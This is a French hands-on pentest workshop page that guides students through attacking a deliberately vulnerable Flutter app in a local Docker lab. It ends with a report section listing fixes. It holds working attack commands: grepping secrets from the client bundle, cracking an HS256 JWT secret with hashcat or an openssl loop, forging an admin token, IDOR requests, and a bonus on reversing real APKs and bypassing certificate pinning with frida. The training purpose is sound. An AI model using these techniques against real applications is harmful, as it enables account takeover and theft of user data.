Aller au contenu principal

Cloud, mobile et IoT — Atelier pratique

Vous montez le lab Docker M11 et vous refaites la chaîne de la démonstration sans regarder la démonstration. C'est un exercice d'autonomie : vous cherchez, vous doutez, vous documentez.

Ce que vous saurez faire

  • Attaquer une app Flutter (web ou mobile) par sa surface la plus courante en 2026 : bundle client + API backend faiblement configurée.
  • Distinguer un chemin court (/api/debug/env) d'un chemin long (crackage JWT + forge + IDOR), et savoir présenter les deux.
  • Rédiger un rapport avec cinq sections et cinq corrections concrètes.

Plan de l'atelier

  1. Démarrer le lab
  2. Étape 1 — reconnaissance visuelle
  3. Étape 2 — analyse statique du bundle
  4. Étape 3 — chemin court : /api/debug/env
  5. Étape 4 — bypass client-side
  6. Étape 5 — capture et décodage du JWT
  7. Étape 6 — crackage HS256 avec hashcat
  8. Étape 7 — forge d'un token admin
  9. Étape 8 — IDOR sur /api/users/:id
  10. Étape 9 — accès admin, lecture du flag
  11. Rapport
  12. Liste de vérification
  13. Bonus — même chaîne sur un .apk Flutter réel
  14. Nettoyage

Ce qu'il vous faut

  • Docker Desktop 4.x lancé.
  • Le repository inskillsec-docusaurus cloné localement.
  • Un navigateur récent avec DevTools.
  • Environ 3 Go de RAM et 4 Go de disque libres.

Démarrer le lab

cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose up -d

Ouvrez http://localhost:8080 (l'app Flutter Web) dans votre navigateur et vérifiez que le login apparaît. Vérifiez aussi la santé de l'API :

curl -s http://localhost:3000/api/health

Ouvrez enfin un shell sur la station Kali :

docker compose exec attaquant bash

Étape 1 — reconnaissance visuelle

Dans le navigateur, ouvrez DevTools sur l'onglet Network. Tentez un login (n'importe quel email et mot de passe) et notez la requête qui part. Vous devez identifier :

  • L'URL exacte de l'endpoint d'authentification.
  • Le format du body (JSON, champs email / password).
  • Le code retour en cas d'échec.

Notez tout dans votre rapport.

Étape 2 — analyse statique du bundle

Depuis la station Kali :

curl -s http://app/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|PREMIUM_API_KEY|DEBUG_ENDPOINT|api/admin" /tmp/main.dart.js

Trois strings doivent ressortir. Notez leur valeur. Concentrez-vous sur DEBUG_ENDPOINT : c'est un chemin d'API que le code client n'appelle jamais visiblement, mais dont l'existence est révélée par la constante.

Étape 3 — chemin court : /api/debug/env

Testez le path que vous venez de découvrir :

curl -s http://api:3000/api/debug/env

Si vous obtenez un JSON qui contient un champ nommé M11_FLAG, vous tenez déjà le flag. Notez-le, mais ne vous arrêtez pas là. L'objet de l'atelier est d'exécuter la chaîne longue aussi.

Étape 4 — bypass client-side

Retour dans le navigateur. Sans être connecté, ouvrez la console DevTools et faites :

localStorage.setItem('auth_token', 'x');
window.location.hash = '#/dashboard';

Observez : la page dashboard s'affiche pendant une fraction de seconde. Elle bascule ensuite sur « Session expired ».

Documentez ce comportement : la garde client s'est laissée tromper, mais la garde serveur (GET /api/me) a tenu bon. C'est exactement l'anti-pattern qu'on veut illustrer.

Étape 5 — capture et décodage du JWT

Inscrivez un compte normal depuis le shell attaquant :

curl -s -X POST http://api:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq

Récupérez le champ token. Décodez ses trois parties :

TOKEN="<votre token>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo

Le header doit annoncer HS256. Le payload doit contenir votre sub (votre id, probablement 4) et role: user. Notez tout dans votre rapport.

Étape 6 — crackage HS256 avec hashcat

Écrivez le token complet dans un fichier :

echo "$TOKEN" > /tmp/token.jwt

Lancez hashcat. Le mode 16500 correspond au JWT :

hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt

Si rockyou.txt n'est pas décompressé sur votre Kali, ouvrez-le d'abord avec gunzip /usr/share/wordlists/rockyou.txt.gz. Le mot attendu est court, hashcat le trouve en moins d'une minute.

Alternative sans hashcat, plus pédagogique, avec une petite wordlist faite maison :

for cand in password secret s3cr3t s3cr3t2025 admin123; do
H=$(echo "$TOKEN" | cut -d. -f1)
P=$(echo "$TOKEN" | cut -d. -f2)
S=$(echo "$TOKEN" | cut -d. -f3)
E=$(echo -n "$H.$P" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$cand" -binary | \
base64 | tr '+/' '-_' | tr -d '=')
[ "$E" = "$S" ] && echo "SECRET = $cand" && break
done

Étape 7 — forge d'un token admin

Avec le secret cracké, forgez un token qui prétend être admin (sub: 1) et n'expirera jamais :

SECRET="s3cr3t2025"
H='{"alg":"HS256","typ":"JWT"}'
P='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$H" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$P" | base64 -w0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$SECRET" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$SIG"
echo "$FORGED"

Étape 8 — IDOR sur /api/users/:id

Sans utiliser le token forgé, montrez qu'un simple utilisateur peut déjà lire les données de l'admin :

curl -s http://api:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq

Vous devez voir un JSON avec l'email et le mot de passe (en clair) du compte admin. Notez que le token utilisé est celui d'eve, pas celui que vous avez forgé.

Étape 9 — accès admin, lecture du flag

Enfin, l'endpoint réservé aux admins avec votre token forgé :

curl -s http://api:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq

Vous devez récupérer un JSON dont le champ flag contient FLAG-M11-FLUTTER-MOBILE-2026. Sauvegardez ce JSON entier dans votre rapport, il fait office de preuve.

Rapport

Écrivez rapport/mobile-flutter-m11.md dans le volume monté (/home/pentester/labs/rapport/) avec cinq sections :

  1. Résumé exécutif — deux phrases : « partant d'un accès public à l'app, j'ai obtenu la lecture d'un endpoint admin et la récupération d'un flag prod ». Mentionnez les deux chemins.
  2. Chaîne d'attaque courte — la commande unique /api/debug/env et pourquoi c'est déjà critique.
  3. Chaîne d'attaque longue — les neuf étapes ci-dessus, chacune avec commande et sortie.
  4. Faiblesses identifiées — cinq points : secrets dans le bundle, JWT HS256 secret faible, IDOR, debug endpoint en prod, mot de passe stocké en clair côté serveur.
  5. Correctifs — pour chaque faiblesse, l'action attendue :
    • Secrets — jamais dans le client. Un vrai backend pour les appels premium, une clé côté serveur, quotas par utilisateur.
    • JWT — passer à RS256 avec paire de clés, garder la clé privée côté serveur. Ou HS256 avec un secret de 32 octets aléatoires stocké dans un vault (AWS KMS, Doppler, Vault).
    • IDOR — chaque endpoint /:id doit vérifier resource.owner === req.user.sub ou une ACL explicite.
    • Debug — supprimer purement. Aucun endpoint « debug » ne doit passer en prod. Si besoin, mettre un middleware qui répond 404 sauf pour une IP interne autorisée.
    • Mots de passe — bcrypt (coût 12+) ou argon2id. Aucun stockage en clair jamais.

Liste de vérification

  • docker compose up -d a démarré sans erreur, api est healthy.
  • Vous avez trouvé API_BASE_URL, PREMIUM_API_KEY et DEBUG_ENDPOINT dans main.dart.js.
  • curl /api/debug/env a renvoyé le flag directement.
  • Vous avez démontré le bypass client-side dans DevTools (le dashboard s'affiche brièvement).
  • Vous avez obtenu un JWT via /api/auth/register et décodé le header et le payload.
  • Hashcat (ou votre boucle openssl) a trouvé s3cr3t2025.
  • Vous avez forgé un JWT role=admin.
  • /api/users/1 a divulgué le mot de passe admin en clair.
  • /api/admin/config avec le JWT forgé a rendu le flag.
  • Votre rapport contient les cinq sections attendues.

Bonus — même chaîne sur un .apk Flutter réel

Si vous voulez pousser jusqu'au vrai mobile, voici le circuit hors lab Docker :

  1. flutter build apk --release produit un app-release.apk d'environ 15-25 Mo. Le code compilé Dart vit dans lib/arm64-v8a/libapp.so.
  2. Ouvrez l'APK avec apktool d app-release.apk, puis strings lib/arm64-v8a/libapp.so | grep -iE "api_key|secret|https". Vous retrouvez les mêmes constantes qu'ici — c'est exactement le même point de sortie que main.dart.js.
  3. Pour le dump structuré : reFlutter build app-release.apk puis dump avec blutter ou frida-dexdump pour aller plus loin.
  4. Pour le certificate pinning bypass : frida -U -f com.your.app avec un script qui hooke boringssl::ssl_verify_peer_cert. Les scripts publics fonctionnent tel quel sur la plupart des apps Flutter récentes.

Sortez le tout dans un rapport séparé si vous choisissez ce bonus.

Nettoyage

cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose down -v

Le -v supprime les volumes ; la prochaine fois vous partirez d'un lab neuf.